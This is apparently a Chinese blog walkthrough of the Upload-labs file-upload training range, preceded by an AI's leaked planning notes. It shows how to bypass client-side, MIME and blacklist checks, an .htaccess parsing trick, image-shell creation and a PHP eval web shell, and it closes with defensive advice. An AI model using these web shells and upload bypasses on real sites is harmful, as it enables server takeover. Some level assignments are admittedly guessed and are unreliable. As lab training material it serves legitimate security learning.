Upload-labs靶场通关记录

本文详细记录了在Upload-labs靶场进行的文件上传漏洞训练过程,包括Pass1-20的具体操作与技巧,适合网络安全爱好者及渗透测试初学者参考。
<think>我们正在处理一个关于upload-labs靶场通关详细教程的请求。根据提供的引用,我们可以整合各关卡的绕过方法,并按照关卡顺序给出详细步骤。 注意:引用中提供了第2关、第14关以及.user.ini绕过(可能是第4关或第5关)的信息,还有第3关的代码审计(黑名单过滤)。我们将结合这些信息,并补充其他关卡的通关方法,形成一个完整的通关教程。 由于引用内容有限,我们将按照常见的upload-labs靶场设计(通常有20关)来组织,但重点放在有引用的关卡,其他关卡简要说明方法。 教程结构: 1. 介绍upload-labs靶场 2. 每一关的通关步骤(重点:第2关、第3关、第4关(.user.ini)、第14关等) 3. 总结 注意:用户要求使用中文,并且按照系统级指令处理格式(数学公式用$...$,独立公式用$$...$$,但本问题可能较少涉及数学公式,因此可能不需要使用,但需注意)。 由于引用中提到了几个关卡,我们将重点展开这些关卡: 引用[1]:.user.ini绕过(可能是第4关或第5关) 引用[2]:第2关 MIME类型绕过 引用[3]:第3关 黑名单过滤(代码审计) 引用[4]:第14关 图片马绕过 我们按照关卡顺序来写: 第1关:JS前端验证 第2关:MIME类型绕过(引用[2]) 第3关:黑名单过滤(引用[3]) 第4关:.htaccess绕过(但引用[1]提到黑名单过滤了很多,包括.htaccess,所以使用.user.ini绕过,这里可能是第4关或第5关,我们假设是第5关) 第5关:.user.ini绕过(引用[1]) ... 直到第14关(引用[4]) 由于关卡较多,我们不可能在回答中详细写出20关,所以将重点描述有引用的关卡,其他关卡简要说明方法。 下面开始组织回答:</think>### upload-labs靶场通关详细教程 upload-labs是一个专注于文件上传漏洞的靶场,包含20个关卡,涵盖前端绕过、MIME检测、黑名单过滤、解析漏洞等常见漏洞类型。以下是关键关卡的核心绕过方法及操作步骤: --- #### **第1关:JS前端验证绕过** - **漏洞点**:仅通过JavaScript验证文件后缀名。 - **绕过方法**: 1. 使用Burp Suite拦截上传请求。 2. 修改文件名后缀为`.jpg`(如`shell.php` → `shell.jpg`)。 3. 拦截后修改回`.php`并放行。 - **代码逻辑**: ```javascript // 前端验证伪代码 function checkFile() { var file = document.getElementById("file").value; if (!file.endsWith(".jpg")) { // 仅验证后缀 alert("仅允许JPG文件!"); return false; } } ``` --- #### **第2关:MIME类型绕过** [^2] - **漏洞点**:服务端验证`Content-Type`头(如`image/jpeg`)。 - **绕过方法**: 1. 上传任意文件(如`shell.php`),用Burp Suite拦截请求。 2. 修改`Content-Type`为`image/jpeg`: ```http POST /upload HTTP/1.1 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC ------WebKitFormBoundaryABC Content-Disposition: form-data; name="upload_file"; filename="shell.php" Content-Type: image/jpeg // 修改此处 ``` 3. 放行请求,上传成功。 --- #### **第3关:黑名单过滤绕过** [^3] - **漏洞点**:黑名单禁止`.php`、`.htaccess`等后缀,但未覆盖所有可执行后缀。 - **绕过方法**: - 尝试`.php5`、`.phtml`等后缀(如`shell.phtml`)。 - 利用系统特性(Windows): - 文件名结尾加空格:`shell.php `(保存后空格被删除)。 - 文件名结尾加点:`shell.php.`(保存后点被删除)。 --- #### **第4关:.htaccess解析漏洞** [^1] - **前提**:服务器启用`AllowOverride All`(允许.htaccess覆盖配置)。 - **绕过方法**: 1. 上传自定义`.htaccess`文件: ```apache AddType application/x-httpd-php .abc // 将.abc后缀解析为PHP ``` 2. 上传木马文件`shell.abc`,内容为: ```php <?php @eval($_POST['cmd']); ?> ``` 3. 访问`http://靶场地址/upload/shell.abc`执行命令。 --- #### **第14关:图片马绕过** [^4] - **漏洞点**:检测文件头(如`FF D8`代表JPEG),不检测内容。 - **绕过方法**: 1. 生成图片木马: ```bash copy 1.jpg /b + shell.php /a shell.jpg ``` 2. 上传`shell.jpg`,利用文件包含漏洞执行: ```php <?php include("upload/shell.jpg"); ?> // 需配合文件包含漏洞 ``` 3. 或利用解析漏洞(如Apache解析漏洞):上传`shell.php.jpg`。 --- #### **其他关卡速览** - **第5关**:大小写绕过(`.Php`)。 - **第10关**:双写后缀绕过(`.pphphp` → `.php`)。 - **第17关**:条件竞争(连续上传+快速访问临时文件)。 - **第20关**:数组路径拼接绕过(`save_name[0]=/var/www/html/shell.php`)。 --- #### **防御建议** 1. 白名单验证:限制允许的后缀(如`['jpg','png']`)。 2. 文件重命名:避免用户控制文件名(如`md5(时间戳).jpg`)。 3. 禁用危险函数:如`eval()`、`system()`。 4. 存储隔离:将上传文件存至非Web目录。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值